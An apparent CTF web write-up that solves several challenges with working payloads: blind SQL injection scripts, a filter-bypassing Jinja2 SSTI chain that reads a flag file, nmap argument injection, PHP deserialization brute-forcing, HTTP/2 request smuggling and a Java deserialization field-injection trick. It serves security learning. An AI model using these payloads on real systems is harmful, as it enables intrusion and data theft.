poyload形如:1') and (select (select schema() limit 1,1) like binary '【字符】%')#

BINARY 是一个在 MySQL 中用于进行二进制比较的关键字。在这个上下文中,它将作用于 LIKE 操作符,用于指示对比过程中区分大小写。

得到初步脚本,可以盲注出当前数据库名字是articles

python 复制代码
import requests

payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'
#payload = '1\') and (select (select object_name from sys.schema_tables_with_full_table_scans limit 1, 1) like binary \'{}%\')#'
url = "http://47.108.56.168:1111/index.php"


#dict是爆破的字典,去掉了%_
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-=+[{]};:'",<.>/? `~!@#$^&*()\x00"

result = ''
while True:
    data = ''
    for i in range(len(dict)):
        data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}
        response = requests.post(url=url, data=data)
        if 'Persistence' in response.text:
            result += dict[int(i)]
            print(result)
            break

        if dict[int(i)] == '\x00':  #%00作为结束符号
            print('盲注结束,结果是:'+result)
            exit(0)
传送门1

但是articles显然不是存放flag的数据库,还是绕不过information_schema,我们找找替换。

还记得当年钱塘江畔的无列名注入吗,当时我的笔记是这样的:

  • InnoDb引擎

从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

  • sys数据库

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。

这么说来,数据库中初始的,存储数据库名字的表不止一个哦~

细细翻翻本地数据库中sys库下的表。

sys库下的表但凡是schema_打头的基本上都存了所有数据库名字!!!

我们以sys.schema_auto_increment_columns这张表为例,嘶,没注出结果,换一张,schema_table_statistics,这个有结果了,而且这张表里面也存储了对应数据库的所有表名。

获取数据库名脚本(改一下limit可以看同一列另外的数据哦)

python 复制代码
import requests

#payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'
payload = '1\') and (select (select table_schema from sys.schema_table_statistics limit 1,1) like binary \'{}%\')#'

url = "http://47.108.56.168:1111/index.php"


#dict是爆破的字典,去掉了%_,要不然会出现点小问题
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789-=+[{]};:'",<.>/? `~!@#$^&*()\x00"


result = ''
while True:
    data = ''
    for i in range(len(dict)):
        data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}
        response = requests.post(url=url, data=data)

        if 'Persistence' in response.text:
            result += dict[int(i)]
            print(result)
            break

        if dict[int(i)] == '\x00':  #%00作为结束符号
            print('盲注结束,结果是:'+result)
            exit(0)

得到库ctf

简单修改payload,得到表flll444aaggg9,应该是ctf里面的,不确定的情况下可以回到上一个payload看看,limit n,1,两个payload中n相等那就是库和表对应。

最后payload得到flag:

python 复制代码
payload = '1\') and (select (select * from ctf.flll444aaggg9 limit 2,1) like binary \'{}%\')#'

关于联合注入注不出字段位的问题。出题人说:

手注确实应该注不出来,好像五十多还是六十多字段

可以通过groupby判断

我本意是过滤了or然后用groupby去判断字段数,但是看师傅们都跳过了这个步骤

hhhhhhhhh

klf_3

题目描述:好好好这都给你们做出来了,这次我拜托了pursue0h帮我收集了你们前几次的payload,这次绝对不可能让你们做出来,你们绝对是klf

开题:

信息搜集,路由/secr3ttt

我klf_2的payload直接可以继续用,嘶,那应该是没收集到我的payload吧。

payload:

复制代码
/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=(()|select|string|list)|attr(po)(24)%} 
{% set oo=dict(o=a,s=a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set re=dict(re=a,ad=a)|join()%}
{% set en=dict(en=a,v=a)|join()%}
{% set fl=dict(fl=a,ag=a)|join()%}
{% set ta=dict(ta=a,c=a)|join()%}
{% set kgxg=(chhr(32),chhr(47))|join()%}
{% set tf=(ta,kgxg,fl)|join()%}
{% set ll=dict(l=a,s=a)|join()%}
{% set lll=(ll,kgxg)|join()%}
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%}
{% set ha=dict(ha=a,hahaha=a)|join()%}
{% set th=(ta,chhr(32),ha)|join()%}
{% set ym=(dict(ca=a,t=a)|join,chhr(32),dict(ap=a,p=a)|join,chhr(46),dict(p=a,y=a)|join)|join()%}
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}
{% set cmd=pp(six)|attr(re)()%}
{{cmd}}

scan_tool【】***

题目描述:nmap也太好用了!不是吧,你还不会用吗?

参考文章:

BUUCTF [网鼎杯 2020 朱雀组\] Nmap_\[网鼎杯 2020 朱雀组\]nmap-CSDN博客](https://blog.csdn.net/weixin_44037296/article/details/110893526) 直接过滤了`<`,无法写🐎,只能带出文件了。同时还过滤了`-iL`、`-oN`等参数。 这题应该也用了PHP中的`escapeshellarg()`函数,在`asisctf-2023 hello`中遇到过,会剔除不可见字符。这个特性可以用来绕过对`-iL`、`-oN`等参数的过滤。 Nmap的相关参数选项: > 利用-iL参数将文件外带,利用-oG参数将结果写入当前目录的文件 payload如下: ip=' -i%faL /flag -o%faN 1.txt ' ![image-20231127143941971](https://file.jishuzhan.net/article/1730841368760160257/5ea8c19da0aff29e6a50c3a633b824d0.webp) ## Akane! 题目描述:最适合梅菲斯特的一题 开题直接给了源码,无利用点的反序列化。 ![image-20231127023506681](https://file.jishuzhan.net/article/1730841368760160257/5fd752c2e161aeaf3ffd374571127c71.webp) 无利用,解读一下代码。考点就是绕过`__weakeup`+`glob://`协议+爆破文件名。 glob:// --- 查找匹配的文件路径模式 也可以说返回当前路径下所有文件的文件名 支持通配符如: glob:///var/www/html/\*.php ![image-20231127034719960](https://file.jishuzhan.net/article/1730841368760160257/c38e0c6ee0f21eead30068155a4676cd.webp) 脚本如下: ```python import base64 import requests import time url = 'https://hg0vl3j25gw55p3ktv9oed5md.node.game.sycsec.com/?tuizi=' strrr='' #glob:///var/www/html/The*长度25 count=26 while True: for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789_-+[{]};:\'",<>/`!@#$%^&()= .?\x00': payload = 'O:7:"Hoshino":2:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:'+str(count)+':"glob:///var/www/html/The' + strrr+i + '*";}s:19:" Hoshino Aquamarine";N;' res_url = url + base64.b64encode(payload.encode('utf-8')).decode('utf-8') resp = requests.get(url=res_url) print(payload) if 'Kurokawa Akane' in resp.text: strrr=strrr+i count=count+1 print(strrr) break if i=='\x00': exit('结束') ``` ![image-20231127034815158](https://file.jishuzhan.net/article/1730841368760160257/6e982a5df8b72b2acb5e204dde2438ed.webp) ![image-20231127034755330](https://file.jishuzhan.net/article/1730841368760160257/5e745228588a3a004e96a8fe2f341ff6.webp) ## EZ_Smuggling【】 题目描述:这是一个简单的H2转H1的小网站,站长认为他很安全,没有人能在他的网站走私任何东西。 开题是一个登陆界面。 ![image-20231124191437850](https://file.jishuzhan.net/article/1730841368760160257/c72f13edac575835a923d8eb4f6c1e8a.webp) 注册一个号登录一下。flag应该在秘密文章里面,只有`admin`可以访问。 ![image-20231124193732766](https://file.jishuzhan.net/article/1730841368760160257/3270f20ff4855d04faba8c5c67b9573d.webp) 其他有用的信息如下: ![image-20231124193755608](https://file.jishuzhan.net/article/1730841368760160257/a8121513c40d85ef93d050097f33f64b.webp) ![image-20231124193812953](https://file.jishuzhan.net/article/1730841368760160257/01248e7483bf19ad8aed831d946cdb24.webp) 首先想到的就是Http2请求走私。这题是**CL**请求走私,缩写说明 CL=Content-Length TL=Transfer-Encoding。 参考文章: > [学好此文,国家赠送金手铐和职业套装,数年管吃管住-HTTP请求夹带(HTTP request smuggling)_请求夹带是什么_Eason_LYC的博客-CSDN博客](https://blog.csdn.net/eason612/article/details/124906244) > > [WEB安全-金手铐系列-HTTP/2高级请求夹带攻击--Advanced request smuggling-CSDN博客](https://blog.csdn.net/eason612/article/details/124948386) 在重发器选项中,关掉\*\*update Content-length \*\* 打开 **Allow HTTP/2 ALPN override** ![image-20231128190506389](https://file.jishuzhan.net/article/1730841368760160257/ae35cdfca65a5c2e39a2be1c3dc09b67.webp) 最后一定要加一个空行。 ![image-20231128171553433](https://file.jishuzhan.net/article/1730841368760160257/46b914ae9aa8cefce17d5e9650084e24.webp) 最后的请求包: POST / HTTP/2 Host: 47.108.56.168:20231 Cookie: session=MTcwMTE1MzY1OXxZZDJ0S0UzU1hhb0kwYXJpRG9lc29vYlhMR0tzdGp6SUlESjdDOWt5VUJSMHJrZnRFLXdMY21vaC1aYTZ2cGp2dkFMcExKeFp6UVZPSjYtQkd3M19LTUhLdXA0dm9yLTl8DIDEaXHFlq1d3J707WOwvPlwbFuGLXWdLDPKsR3qCEc= Sec-Ch-Ua: "Chromium";v="97", " Not;A Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0. Content-Type: application/x-www-form-urlencoded Content-Length: 0 GET /admin HTTP/1.1 Host: 47.108.56.168:20231 Cookie: session=MTcwMTE1MzY1OXxZZDJ0S0UzU1hhb0kwYXJpRG9lc29vYlhMR0tzdGp6SUlESjdDOWt5VUJSMHJrZnRFLXdMY21vaC1aYTZ2cGp2dkFMcExKeFp6UVZPSjYtQkd3M19LTUhLdXA0dm9yLTl8DIDEaXHFlq1d3J707WOwvPlwbFuGLXWdLDPKsR3qCEc= Content-Length: 17 x=Jay17xxxxxxxxx 关键就这几部分: ![image-20231128171928349](https://file.jishuzhan.net/article/1730841368760160257/d1ddf68d6cd02f748fb1b96b84042229.webp) ## java【】 题目描述:不一样的Java反序列化,想办法读取到admin的真正secret吧(java的String.split好像有点特殊) 主要代码: `controller/home.java` ```java package com.example.springwebdemo.controller; import com.example.springwebdemo.redis; import com.example.springwebdemo.input; import com.example.springwebdemo.model.User; import com.example.springwebdemo.output; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.*; import org.springframework.web.servlet.mvc.support.RedirectAttributes; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import java.io.*; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; import java.util.Map; @Controller public class home { @RequestMapping(value = "/",method = RequestMethod.GET) public String index(HttpSession session) throws IOException { return "home"; } @RequestMapping(value = "/error",method = RequestMethod.GET) public String error(){ return "error"; } @RequestMapping(value = "/login",method = RequestMethod.POST) public String login(HttpSession session, HttpServletRequest request, RedirectAttributes redirectAttributes) throws Exception { String username = request.getParameter("username"); String password = request.getParameter("password"); if (username.equals("admin") && password.equals("123456")){ session.setAttribute("user", username); if (redis.get(session.getId()+"admin") == null){ User u = new User(); u.name ="admin"; u.sex = "男"; u.age = 10; redis.save(session.getId()+"admin",marshalinfo(u)); } return "redirect:admin"; }else { session.setAttribute("user", ""); redirectAttributes.addAttribute("msg","登录失败"); return "redirect:error"; } } @RequestMapping(value = "/admin",method = RequestMethod.GET) public String admin(HttpSession session, RedirectAttributes redirectAttributes, Model model) throws Exception{ Object user = session.getAttribute("user"); if (user == null || user.toString().equals("")){ redirectAttributes.addAttribute("msg","请先登录"); return "redirect:error"; } String name = user.toString(); User userinfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+name)))).readObject(); Path path = Paths.get(userinfo.secretFile); if (!path.startsWith("/tmp")){ redirectAttributes.addAttribute("msg","secret must be under /tmp"); return "redirect:error"; } byte[] secret = Files.readAllBytes(path); model.addAttribute("user",userinfo); model.addAttribute("secret",new String(secret)); return "admin"; } @RequestMapping(value = "/marshalinfo",method = RequestMethod.POST) @ResponseBody public String marshalinfo(User u) throws Exception { u.secretFile ="/tmp/admin_secret"; ByteArrayOutputStream out = new ByteArrayOutputStream(); output o = new output(out); o.writeObject(u); return Base64.getEncoder().encodeToString(out.toByteArray()); } @RequestMapping(value = "/invoke",method = RequestMethod.POST) @ResponseBody public String save(HttpSession session,@RequestBody Map info) throws Exception { Object user = session.getAttribute("user"); if (user != null && !user.equals("")){ String action = info.get("action"); switch (action){ case "update": try{ String data = info.get("data"); User newInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(data))).readObject(); User oldInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+user.toString())))).readObject(); oldInfo.name = newInfo.name; oldInfo.sex = newInfo.sex; oldInfo.age = newInfo.age; oldInfo.hash = newInfo.hash; ByteArrayOutputStream out = new ByteArrayOutputStream(); output o = new output(out); o.writeObject(oldInfo); redis.save(session.getId()+user.toString(),Base64.getEncoder().encodeToString(out.toByteArray())); return "更新成功 name、sex、age成功"; }catch (Exception e){ return "更新失败: "+e; } default: return "受支持action: " +action; } }else { return "请先登录"; } } } ``` `model/User.java` ```java package com.example.springwebdemo.model; import org.springframework.util.StringUtils; import java.io.ObjectOutputStream; import java.io.Serializable; import java.lang.reflect.Field; import java.util.ArrayList; public class User implements Serializable { public static String separator = "O.o"; public String hash = ""; public String name = "张三"; public String sex = "男"; public int age; public String secretFile ="/tmp/admin_secret"; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getSecretFile() { return secretFile; } public void setSecretFile(String secretFile) { this.secretFile = secretFile; } private void readObject(java.io.ObjectInputStream s) throws Exception{ String data = (String) s.readObject(); Field[] fields = this.getClass().getFields(); if (StringUtils.countOccurrencesOf(data, User.separator) != fields.length-2){ throw new Exception(String.format("`%s` is the separator of the split method, the number of `%s` occurrences must be "+(fields.length-2),User.separator,User.separator)); } String[] splits = data.split(User.separator); for (int i = 1; i < fields.length; i++) { if(fields[i].getType().getName().equals("int")){ fields[i].set(this,Integer.parseInt(splits[i-1])); }else{ fields[i].set(this,splits[i-1]); } } this.hash = (String) s.readObject(); if (StringUtils.countOccurrencesOf(this.hash, User.separator) != 0){ throw new Exception("hash cont content O.o"); } } private void writeObject(ObjectOutputStream os) throws Exception{ Field[] fields = this.getClass().getFields(); ArrayList datas = new ArrayList<>(); for (int i = 1; i < fields.length; i++) { if(fields[i].getType().getName().equals("int")){ datas.add(String.valueOf(fields[i].get(this))); }else{ datas.add(fields[i].get(this).toString()); } } os.writeObject(String.join(User.separator,datas)); os.writeObject(String.join("-",datas)); } } ``` 看源码可以知道账号密码是`admin`、`123456` ![image-20231128182618760](https://file.jishuzhan.net/article/1730841368760160257/ec9b6ef908af06399dd5c758557129bc.webp) 这题考察了java中String.split的特性,String.split()的参数是分隔符,分隔符遵循正则匹配。题目中的分隔符是O.o,在正则匹配的模式中.(点)会被匹配成任意字符。 我们可以在可改的数据中加入分隔符,从而改变无法改变的数据`secretFile`。我们不用自己序列化/反序列化,题目会自动序列化/反序列化的。 ![image-20231128191246911](https://file.jishuzhan.net/article/1730841368760160257/7d848f7350d107f1e8412a7fabb8c565.webp) 登录后,在名字那一栏输入`111OxoJay17Oxo1Oxo19Oxo/tmp/flagOxo111`,点击保存,`secretFile`属性就会被赋值成`/tmp/flag`。flag会自动显示在秘密框。 ![image-20231128193801447](https://file.jishuzhan.net/article/1730841368760160257/e08bf262797b0bb0d2c656d928d4af78.webp) 修改后。 ![image-20231128194542481](https://file.jishuzhan.net/article/1730841368760160257/db06c1861aae3acbb6bf589f5563c8f8.webp)

相关推荐
运器1235 分钟前
【一起来学AI大模型】算法核心:数组/哈希表/树/排序/动态规划(LeetCode精练)
开发语言·人工智能·python·算法·ai·散列表·ai编程
岁忧6 分钟前
(LeetCode 每日一题) 1865. 找出和为指定值的下标对 (哈希表)
java·c++·算法·leetcode·go·散列表
YuTaoShao9 分钟前
【LeetCode 热题 100】240. 搜索二维矩阵 II——排除法
java·算法·leetcode
考虑考虑1 小时前
JDK9中的dropWhile
java·后端·java ee
想躺平的咸鱼干1 小时前
Volatile解决指令重排和单例模式
java·开发语言·单例模式·线程·并发编程
hqxstudying2 小时前
java依赖注入方法
java·spring·log4j·ioc·依赖
·云扬·2 小时前
【Java源码阅读系列37】深度解读Java BufferedReader 源码
java·开发语言
巴里巴气2 小时前
selenium基础知识 和 模拟登录selenium版本
爬虫·python·selenium·爬虫模拟登录
19893 小时前
【零基础学AI】第26讲:循环神经网络(RNN)与LSTM - 文本生成
人工智能·python·rnn·神经网络·机器学习·tensorflow·lstm
JavaEdge在掘金3 小时前
Redis 数据倾斜?别慌!从成因到解决方案,一文帮你搞定
python